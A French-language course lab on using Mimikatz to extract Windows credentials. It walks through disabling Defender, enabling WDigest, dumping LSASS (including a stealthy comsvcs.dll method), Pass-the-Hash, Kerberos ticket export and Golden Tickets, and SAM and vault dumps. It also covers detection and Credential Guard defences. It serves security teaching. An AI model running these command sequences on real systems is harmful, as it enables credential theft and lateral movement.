Aller au contenu principal

Lab 8.1: Mimikatz - Extraction de Credentials Live

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Comprendre comment Windows stocke les credentials en mémoire
  • Utiliser Mimikatz pour extraire des mots de passe en clair depuis la RAM
  • Extraire des hash NTLM pour Pass-the-Hash
  • Comprendre le fonctionnement de LSASS (Local Security Authority Subsystem Service)
  • Dumper les tickets Kerberos
  • Réaliser des attaques Pass-the-Hash et Pass-the-Ticket
  • Comprendre pourquoi Credential Guard est essentiel
  • Détecter l'utilisation de Mimikatz sur un système
  • Implémenter des protections contre ces attaques

Durée Estimée​

45 minutes

Prérequis​

  • VM Windows 10/11
  • Droits administrateur
  • Compréhension de l'authentification Windows
  • Lab 3.1 (extraction credentials) complété pour contexte
  • Antivirus désactivé temporairement (pour lab uniquement)

Contexte Professionnel​

Mimikatz est l'outil le plus célèbre et redouté en sécurité Windows. Créé par Benjamin Delpy, il démontre que Windows stocke des credentials en mémoire de manière récupérable.

Mimikatz est utilisé par:

  • Pentesters lors de tests d'intrusion
  • Red Teams pour simulations d'attaques
  • Attaquants APT (Advanced Persistent Threats)
  • Ransomware pour lateral movement
  • Forensics pour investigation

Impact historique:

  • Révélation des faiblesses de stockage credentials Windows
  • Utilisé dans presque toutes les attaques majeures depuis 2011
  • Outil standard dans tout pentest Windows
  • A forcé Microsoft à développer Credential Guard

Attaques célèbres utilisant Mimikatz:

  • NotPetya (2017) - Ransomware dévastateur
  • BadRabbit (2017) - Ransomware ciblant Ukraine
  • Carbanak (2015) - Vol de 1 milliard USD banques
  • Industroyer (2016) - Attaque infrastructure électrique

AVERTISSEMENT ÉTHIQUE ET LÉGAL - EXTRÊMEMENT IMPORTANT​

MIMIKATZ EST UN OUTIL EXTRÊMEMENT PUISSANT

Mimikatz permet d'extraire TOUS les mots de passe en mémoire, incluant:

  • Mots de passe en clair
  • Hash NTLM
  • Tickets Kerberos
  • Certificats

AUTORISÉ UNIQUEMENT:

  • Sur votre VM de test personnelle
  • Sur des systèmes dont vous êtes propriétaire
  • Dans le cadre de tests de pénétration avec contrat écrit et autorisation explicite
  • Pour investigation forensique avec mandat légal

STRICTEMENT INTERDIT:

  • Sur des systèmes d'entreprise sans autorisation formelle
  • Sur des ordinateurs qui ne vous appartiennent pas
  • Pour vol de credentials d'autrui
  • Pour accès non autorisé à des systèmes

CONSÉQUENCES LÉGALES: Utilisation non autorisée de Mimikatz = Accès illégal à système informatique + Vol de données d'authentification (Code criminel art. 342.1). Crime grave avec prison et amendes massives.

DÉTECTION:

  • Tous les antivirus détectent Mimikatz immédiatement
  • EDR (Endpoint Detection and Response) alerte en temps réel
  • SIEM corrèle les événements
  • Utilisation laisse des traces dans les logs

POUR CE LAB:

  • VM Windows isolée (réseau interne)
  • Pas d'accès Internet
  • Antivirus désactivé UNIQUEMENT pour durée du lab
  • Réactiver immédiatement après

Partie 1: Comprendre le Stockage de Credentials Windows​

Étape 1.1: LSASS (Local Security Authority Subsystem Service)​

LSASS.exe:

  • Processus Windows critique
  • Gère l'authentification utilisateur
  • Stocke les credentials en mémoire pour Single Sign-On (SSO)
  • Tourne avec privilèges SYSTEM

Que stocke LSASS:

Quand vous vous connectez à Windows:

1. Vous entrez: username + password
2. Windows valide les credentials
3. LSASS stocke en mémoire:
- Mot de passe en clair (si WDigest activé)
- Hash NTLM du mot de passe
- Tickets Kerberos (si domaine Active Directory)
- Tokens d'authentification

Pourquoi: Pour permettre SSO (Single Sign-On)

  • Vous entrez mot de passe UNE fois au login
  • Windows l'utilise automatiquement pour accès réseau, services, etc.
  • Pratique MAIS dangereux si compromis!

Étape 1.2: WDigest et Cleartext Passwords​

WDigest Authentication Protocol:

  • Protocole ancien pour HTTP Digest authentication
  • Stockait les mots de passe EN CLAIR dans LSASS!
  • Activé par défaut sur Windows 7, 8, Server 2008/2012
  • Désactivé par défaut depuis Windows 8.1 / Server 2012 R2

Vérifier si WDigest est activé:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential"

Résultat:

  • 1 = Activé (passwords en clair stockés!)
  • 0 ou absent = Désactivé (plus sécurisé)

Questions:

  1. Qu'est-ce que LSASS et pourquoi est-il critique?
  2. WDigest est-il activé sur votre système?

Étape 1.3: Types de Credentials Récupérables​

Avec Mimikatz, vous pouvez obtenir:

1. Cleartext passwords (si WDigest activé):

Username: admin
Password: MySecretPassword123!

2. Hash NTLM:

NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c

Utilisation: Pass-the-Hash (connexion sans mot de passe!)

3. Tickets Kerberos:

Golden Ticket, Silver Ticket, TGT

Utilisation: Impersonation, accès à ressources

4. Certificats:

Certificats d'authentification
Clés privées

Partie 2: Installation et Préparation​

Étape 2.1: Téléchargement de Mimikatz​

Source officielle:

Téléchargez:

  • mimikatz_trunk.zip (version complète)
  • Extrayez dans C:\Tools\mimikatz\

ATTENTION: Antivirus va IMMÉDIATEMENT détecter et supprimer!

Étape 2.2: Désactivation de Windows Defender​

PowerShell en administrateur:

Set-MpPreference -DisableRealtimeMonitoring $true

Ajouter exclusion (alternative):

Add-MpPreference -ExclusionPath "C:\Tools\mimikatz"

Vérifier:

Get-MpPreference | Select-Object DisableRealtimeMonitoring

Devrait retourner: True

IMPORTANT: Réactivez après le lab!

Set-MpPreference -DisableRealtimeMonitoring $false

Étape 2.3: Activer WDigest (Pour Démo Passwords Clairs)​

Pour voir les passwords en clair, activez WDigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Puis:

  1. Déconnectez-vous (logout)
  2. Reconnectez-vous avec votre mot de passe
  3. Le mot de passe est maintenant en mémoire en clair!

Questions: 3. Windows Defender a-t-il été désactivé? 4. WDigest est-il maintenant activé?


Partie 3: Première Utilisation de Mimikatz​

Étape 3.1: Lancement et Privilèges​

Ouvrez CMD en tant qu'ADMINISTRATEUR

cd C:\Tools\mimikatz\x64
mimikatz.exe

Interface Mimikatz s'ouvre:

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

Obtenir privilèges debug (CRITIQUE):

mimikatz # privilege::debug

Résultat attendu:

Privilege '20' OK

Si "ERROR": Vous n'êtes pas administrateur!

Élever au token SYSTEM:

mimikatz # token::elevate

Résultat:

Token Id  : 0
User name : NT AUTHORITY\SYSTEM

Vous êtes maintenant SYSTEM!

Questions: 5. L'obtention de privilège debug a-t-elle réussi? 6. Quel est votre niveau de privilège actuel?


Partie 4: Extraction de Passwords - LA COMMANDE MAGIQUE​

Étape 4.1: sekurlsa::logonpasswords​

LA COMMANDE LA PLUS PUISSANTE DE MIMIKATZ:

mimikatz # sekurlsa::logonpasswords

ATTENDEZ QUELQUES SECONDES...

RÉSULTAT (exemple):

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP-ABC123$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/8/2024 10:30:45 AM
SID : S-1-5-18
msv :
[00000003] Primary
* Username : DESKTOP-ABC123$
* Domain : WORKGROUP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c

Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : Admin
Domain : DESKTOP-ABC123
Logon Server : DESKTOP-ABC123
Logon Time : 11/8/2024 10:31:12 AM
SID : S-1-5-21-xxx-xxx-xxx-1001
msv :
[00000003] Primary
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
wdigest :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
kerberos :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!

INCROYABLE! Le mot de passe apparaît EN CLAIR:

Password : MySecretPassword123!

TOUS les utilisateurs connectés:

  • Leur nom d'utilisateur
  • Leur domaine
  • Leur mot de passe EN CLAIR!
  • Leur hash NTLM
  • Leurs tickets Kerberos

BOOM! C'est pour ça que Mimikatz est légendaire!

Étape 4.2: Analyse des Résultats​

Chaque session utilisateur affiche:

msv (Microsoft Authentication Package):

  • Hash NTLM
  • Peut être utilisé pour Pass-the-Hash

tspkg (Terminal Services Package):

  • Credentials pour Remote Desktop

wdigest:

  • MOT DE PASSE EN CLAIR (si WDigest activé!)
  • C'est ici qu'on voit les passwords!

kerberos:

  • Tickets d'authentification
  • Mot de passe en clair également (si disponible)

livessp:

  • Credentials pour Live ID

Étape 4.3: Extraction Ciblée​

Extraire seulement les passwords en clair:

mimikatz # sekurlsa::wdigest

Extraire seulement les hash NTLM:

mimikatz # sekurlsa::msv

Extraire seulement tickets Kerberos:

mimikatz # sekurlsa::tickets

Questions: 7. Combien d'utilisateurs aviez-vous des sessions actives? 8. Avez-vous pu voir des mots de passe en clair? 9. Si non, pourquoi? (WDigest désactivé probablement)


Partie 5: Pass-the-Hash Attack​

Étape 5.1: Comprendre Pass-the-Hash​

Principe:

Normalement:

User entre password → Windows calcule hash NTLM → Utilise hash pour authentification

Mais: Windows accepte DIRECTEMENT le hash!

Donc:

Attaquant a le hash (via Mimikatz)
↓
Utilise le hash directement
↓
Connexion réussie SANS connaître le mot de passe!

C'est comme: Utiliser l'empreinte digitale de quelqu'un sans la personne!

Étape 5.2: Extraction du Hash​

Depuis résultats Mimikatz, notez un hash NTLM:

* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c

Copiez le hash: 8846f7eaee8fb117ad06bdd830b7586c

Étape 5.3: Utiliser le Hash pour Authentification​

Avec Mimikatz, authentifiez-vous avec le hash:

mimikatz # sekurlsa::pth /user:Admin /domain:DESKTOP-ABC123 /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

Résultat: Une nouvelle fenêtre CMD s'ouvre!

Cette session CMD est authentifiée en tant que Admin SANS avoir entré le mot de passe!

Dans cette nouvelle CMD, testez:

whoami

Résultat: DESKTOP-ABC123\Admin

Accédez à un partage réseau (si vous en avez un):

dir \\192.168.100.20\C$

Accès réussi avec SEULEMENT le hash!

Questions: 10. Le Pass-the-Hash a-t-il fonctionné? 11. Quelles ressources réseau pouvez-vous accéder avec le hash?


Partie 6: Dump LSASS Complet​

Étape 6.1: Méthode Alternative - Task Manager​

Si Mimikatz n'est pas disponible, vous pouvez dumper LSASS:

  1. Ouvrez Task Manager (Ctrl+Shift+Esc)
  2. Onglet "Détails"
  3. Trouvez lsass.exe
  4. Clic droit → "Créer un fichier de vidage"
  5. Fichier créé: lsass.DMP

Ce fichier contient TOUS les credentials en mémoire!

Étape 6.2: Analyser Dump LSASS avec Mimikatz​

Transférez lsass.DMP vers machine d'analyse (offline):

Sur machine d'analyse (sans antivirus):

mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonpasswords

BOOM! Extraction des credentials depuis le dump!

Avantage:

  • Pas besoin d'exécuter Mimikatz sur la machine cible
  • Analyse offline (pas de détection runtime)
  • Dump peut être fait avec outils légitimes (ProcDump, Task Manager)

Commande ProcDump (Sysinternals - légitime!):

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Moins suspect que Mimikatz!

Étape 6.3: Automatisation​

Script PowerShell pour dump automatique:

# Trouver PID de LSASS
$lsassPID = (Get-Process lsass).Id

# Créer dump avec comsvcs.dll (méthode native Windows!)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Temp\lsass.dmp full

Write-Host "LSASS dumped to C:\Temp\lsass.dmp"

Méthode furtive: Utilise une DLL Windows légitime!

Questions: 12. Le dump de LSASS via Task Manager fonctionne-t-il? 13. Pouvez-vous extraire credentials du dump offline?


Partie 7: Tickets Kerberos et Golden Ticket​

Étape 7.1: Extraire Tickets Kerberos​

Lister tous les tickets:

mimikatz # sekurlsa::tickets

Résultat:

Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/8/2024 10:31:12 AM ; 11/8/2024 8:31:12 PM ; 11/15/2024 10:31:12 AM
Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
Target Name (--) : @ DOMAIN.LOCAL
Client Name (01) : Admin ; @ DOMAIN.LOCAL
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac

Tickets contiennent:

  • TGT (Ticket Granting Ticket)
  • Service tickets
  • Permettent accès sans re-authentication

Étape 7.2: Exporter des Tickets​

Exporter tous les tickets dans fichiers:

mimikatz # sekurlsa::tickets /export

Fichiers créés:

[0;3e4]-0-0-40e00000-DESKTOP$.kirbi
[0;1e240]-2-0-40e10000-Admin.kirbi
...

Ces fichiers .kirbi sont les tickets!

Importez-les sur autre machine:

mimikatz # kerberos::ptt Admin.kirbi

Résultat: Accès avec l'identité de Admin sur autre machine!

Étape 7.3: Golden Ticket (Domaine AD)​

NOTE: Nécessite environnement Active Directory.

Si vous avez le hash NTLM du compte KRBTGT:

mimikatz # kerberos::golden /user:Admin /domain:domain.local /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:HASH /ptt

Résultat: Ticket administrateur PERMANENT!

Golden Ticket permet:

  • Accès à toutes les ressources du domaine
  • Valide 10 ans par défaut
  • Indétectable (sauf monitoring Kerberos)
  • Survit au changement de mot de passe!

Questions: 14. Combien de tickets Kerberos avez-vous extraits? 15. Qu'est-ce qu'un Golden Ticket et pourquoi est-il si dangereux?


Partie 8: Autres Fonctionnalités de Mimikatz​

Étape 8.1: Dump SAM Local​

Extraire hash de TOUS les comptes locaux:

mimikatz # lsadump::sam

Résultat:

RID  : 000001f4 (500)
User : Administrator
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

RID : 000003e9 (1001)
User : Admin
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

Tous les comptes Windows locaux!

Alternative (plus furtif):

mimikatz # lsadump::secrets

Extrait aussi:

  • Machine account password
  • Service account passwords
  • DPAPI master keys

Étape 8.2: Certificats et Clés Privées​

Exporter certificats stockés:

mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export

Fichiers créés: Certificats et clés privées!

Utilisation:

  • Authentification par certificat
  • Signature de code
  • Chiffrement de données

Étape 8.3: Vault et Credential Manager​

Windows Credential Manager stocke:

  • Credentials pour Remote Desktop
  • Credentials réseau
  • Credentials web
  • Credentials génériques

Extraire:

mimikatz # vault::list
mimikatz # vault::cred

Résultat:

Credential
Type : domain_password
Server : server.company.com
User : admin
Password : P@ssw0rd123

Credentials stockés dans Credential Manager révélés!

Questions: 16. Combien de credentials sont stockés dans le Credential Manager? 17. Y a-t-il des passwords RDP sauvegardés?


Partie 9: Détection de Mimikatz​

Étape 9.1: Signatures Antivirus​

Tous les antivirus détectent Mimikatz:

Test:

Réactivez Defender:

Set-MpPreference -DisableRealtimeMonitoring $false

Essayez d'exécuter Mimikatz:

mimikatz.exe

Résultat: Suppression immédiate par Defender!

Logs Windows Defender:

Get-MpThreatDetection | Where-Object {$_.ThreatName -like "*Mimikatz*"}

Étape 9.2: Détection Comportementale (EDR)​

Comportements suspects détectés par EDR:

  1. Accès au processus LSASS:

    • Event ID 4656: Handle to LSASS
    • Process: Unknown.exe
    • Access: Read Memory
  2. Privilège SeDebugPrivilege:

    • Event ID 4672: Special privileges assigned
    • Nécessaire pour dumper LSASS
  3. Lecture mémoire LSASS:

    • API: OpenProcess, ReadProcessMemory
    • Target: lsass.exe
    • Red flag immédiat!

Requête logs Sysmon:

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} | 
Where-Object {$_.Message -like "*lsass.exe*"} |
Select-Object TimeCreated, Message | Format-List

Event ID 10: ProcessAccess (accès à un processus)

Étape 9.3: Détection via Analyse Mémoire​

Strings dans la mémoire de Mimikatz:

strings64.exe mimikatz.exe | findstr /i "gentilkiwi sekurlsa"

Signatures uniques:

  • "gentilkiwi" (auteur)
  • "sekurlsa"
  • "A La Vie, A L'Amour" (devise)

Scan mémoire:

Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Where-Object {$_.FileName -like "*kiwi*"}
if ($modules) {
Write-Host "SUSPICIOUS: $($proc.ProcessName)" -ForegroundColor Red
}
} catch {}
}

Questions: 18. Windows Defender a-t-il détecté Mimikatz? 19. Comment un EDR détecterait-il Mimikatz même avec antivirus désactivé?


Partie 10: Défenses contre Mimikatz​

Étape 10.1: Credential Guard​

Windows 10/11 Enterprise - Credential Guard:

Protection hardware contre dump de credentials:

  • Utilise Virtualization-Based Security (VBS)
  • LSASS s'exécute dans conteneur isolé
  • Mimikatz ne peut PAS accéder aux credentials

Vérifier si activé:

Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning

Activation (Windows Pro/Enterprise + TPM):

# Via registre
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# Redémarrage requis
shutdown /r /t 0

Avec Credential Guard: Mimikatz échoue!

Étape 10.2: Protections Complémentaires​

1. Protected Users Group:

Ajouter utilisateurs au groupe "Protected Users":

Add-ADGroupMember -Identity "Protected Users" -Members Admin

Protections:

  • Pas de cache NTLM
  • Pas de CredSSP
  • Pas de Kerberos DES/RC4

2. Désactiver WDigest (si pas déjà fait):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

3. LSA Protection (RunAsPPL):

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f

LSASS s'exécute en Protected Process:

  • Plus difficile à dumper
  • Mimikatz basique échoue
  • Nécessite driver pour contourner

4. Antivirus et EDR:

  • Détection de signatures
  • Détection comportementale
  • Blocage d'accès à LSASS

5. Logging et Monitoring:

  • Sysmon avec config appropriée
  • Event ID 4656, 4672, 10 (Sysmon)
  • Alertes sur accès LSASS

Étape 10.3: Bonnes Pratiques​

Administration:

  1. Utiliser comptes séparés (admin vs user quotidien)
  2. Ne pas utiliser compte admin pour navigation web
  3. Déconnecter sessions quand inutilisées
  4. Pas de Domain Admin sur postes utilisateurs
  5. Jump boxes pour administration

Technique:

  1. Credential Guard sur toutes les machines
  2. Protected Users pour comptes privilégiés
  3. LAPS (Local Administrator Password Solution)
  4. Rotation régulière des mots de passe
  5. 2FA partout où possible

Monitoring:

  1. Alertes sur accès à LSASS
  2. Détection de dump de processus
  3. Baseline des comportements normaux
  4. Corrélation d'événements (SIEM)

Questions: 20. Credential Guard est-il activé sur votre système? 21. Quelles autres mesures recommanderiez-vous?


Livrables​

À remettre:

  1. Rapport d'exploitation (Word/PDF, 5-6 pages):

    • Réponses aux 21 questions
    • Méthodologie d'utilisation de Mimikatz
    • Captures complètes des résultats
    • Analyse des credentials extraits (ANONYMISÉS!)
    • Explication technique du fonctionnement
  2. Captures d'écran (minimum 8):

    • Interface Mimikatz
    • Commande privilege::debug réussie
    • Résultat de sekurlsa::logonpasswords (PASSWORDS FLOUTÉS SI RÉELS!)
    • Hash NTLM extraits
    • Pass-the-Hash en action
    • Dump LSASS via Task Manager
    • Tentative avec Defender activé (bloqué)
    • Configuration Credential Guard
  3. Documentation technique (3 pages):

    • Explication détaillée de LSASS
    • Processus de stockage credentials en mémoire
    • Pourquoi Mimikatz fonctionne
    • Évolution des protections Microsoft
  4. Plan de défense (2 pages):

    • Mesures de protection multi-couches
    • Configuration Credential Guard
    • Politique de gestion des comptes privilégiés
    • Stratégie de monitoring et détection

Critères d'Évaluation​

CritèrePoints
Compréhension du fonctionnement de Mimikatz et LSASS25%
Extraction réussie de credentials25%
Réalisation de Pass-the-Hash20%
Documentation technique complète15%
Plan de défense réaliste15%

Commandes de Référence Rapide​

Préparation​

# Désactiver Defender (lab uniquement!)
Set-MpPreference -DisableRealtimeMonitoring $true

# Activer WDigest (pour passwords clairs)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Mimikatz Essentiels​

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::tickets

Pass-the-Hash​

mimikatz # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe

Dump LSASS​

# Task Manager GUI
# OU
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# OU
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID lsass.dmp full

Analyse Dump​

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Protection​

# Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# LSA Protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f

# Désactiver WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

Dépannage​

Problème: "ERROR kuhl_m_sekurlsa_acquireLSA"​

Solution: Mimikatz n'a pas les privilèges nécessaires.

  • Exécutez CMD en tant qu'administrateur
  • Vérifiez privilege::debug retourne "OK"
  • Essayez token::elevate

Problème: Aucun password en clair affiché​

Raison: WDigest désactivé (normal sur Windows 10+)

Solutions:

  • Activez WDigest (voir Étape 2.3)
  • Déconnectez et reconnectez
  • Les hash NTLM sont toujours disponibles même sans WDigest

Problème: "Access Denied" lors du dump LSASS​

Solution:

  • Exécutez en tant qu'administrateur
  • Antivirus peut bloquer (désactivez temporairement)
  • Certains EDR bloquent même pour admin

Aller Plus Loin (Optionnel)​

Challenge 1: Mimikatz Evasion​

Techniques pour éviter détection:

  • Obfuscation du binaire
  • Chargement en mémoire (invoke-mimikatz)
  • Modification du code source et recompilation
  • Utilisation d'alternatives (pypykatz, lsassy)

Challenge 2: Analyse Forensique​

Sur une machine compromise:

  • Identifier traces de Mimikatz
  • Analyser logs pour reconstruction de timeline
  • Identifier credentials compromis
  • Évaluer impact et scope de compromission

Challenge 3: Alternatives à Mimikatz​

Recherchez et testez:

  • pypykatz (Python implementation)
  • lsassy (Dump LSASS via SMB)
  • SharpKatz (C# implementation)
  • SafetyKatz (in-memory execution)

Ressources Additionnelles​


Conclusion​

Ce lab vous a enseigné:

  • Utilisation de Mimikatz, l'outil légendaire de dump credentials
  • Extraction de mots de passe en clair depuis la mémoire RAM
  • Technique de Pass-the-Hash pour authentification sans password
  • Manipulation de tickets Kerberos
  • Multiples méthodes de dump de LSASS
  • Détection et défenses contre ces attaques

Leçons critiques:

  1. Windows stocke les credentials en mémoire de manière récupérable
  2. Accès administrateur = Accès à TOUS les credentials en mémoire
  3. WDigest (si activé) stocke passwords EN CLAIR
  4. Hash NTLM suffit pour authentification (Pass-the-Hash)
  5. Credential Guard est la seule vraie protection
  6. Détection est facile mais prévention complexe

Impact de cette connaissance:

  • Compréhension profonde de l'authentification Windows
  • Importance de la séparation des privilèges
  • Nécessité de monitoring et détection
  • Credential Guard = Obligatoire en entreprise
  • Ne JAMAIS utiliser comptes admin pour tâches quotidiennes

Message final:

Vous venez d'apprendre à utiliser l'outil le plus puissant et redouté en sécurité Windows. Mimikatz a révolutionné le pentesting et forcé Microsoft à revoir leur architecture de sécurité.

Avec un grand pouvoir vient une grande responsabilité.

Utilisez Mimikatz uniquement:

  • Sur vos VMs de test
  • Dans le cadre de pentests autorisés
  • Pour comprendre et DÉFENDRE contre ces attaques

JAMAIS pour:

  • Vol de credentials d'autrui
  • Accès non autorisé
  • Compromission malveillante

Vous comprenez maintenant pourquoi:

  • Les antivirus détectent Mimikatz instantanément
  • Les EDR alertent sur accès à LSASS
  • Credential Guard est essentiel
  • La sécurité Windows a évolué depuis Windows 10

Prochaine étape: Lab 8.2 où vous apprendrez à contourner les antivirus avec l'obfuscation et AMSI bypass!


Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 8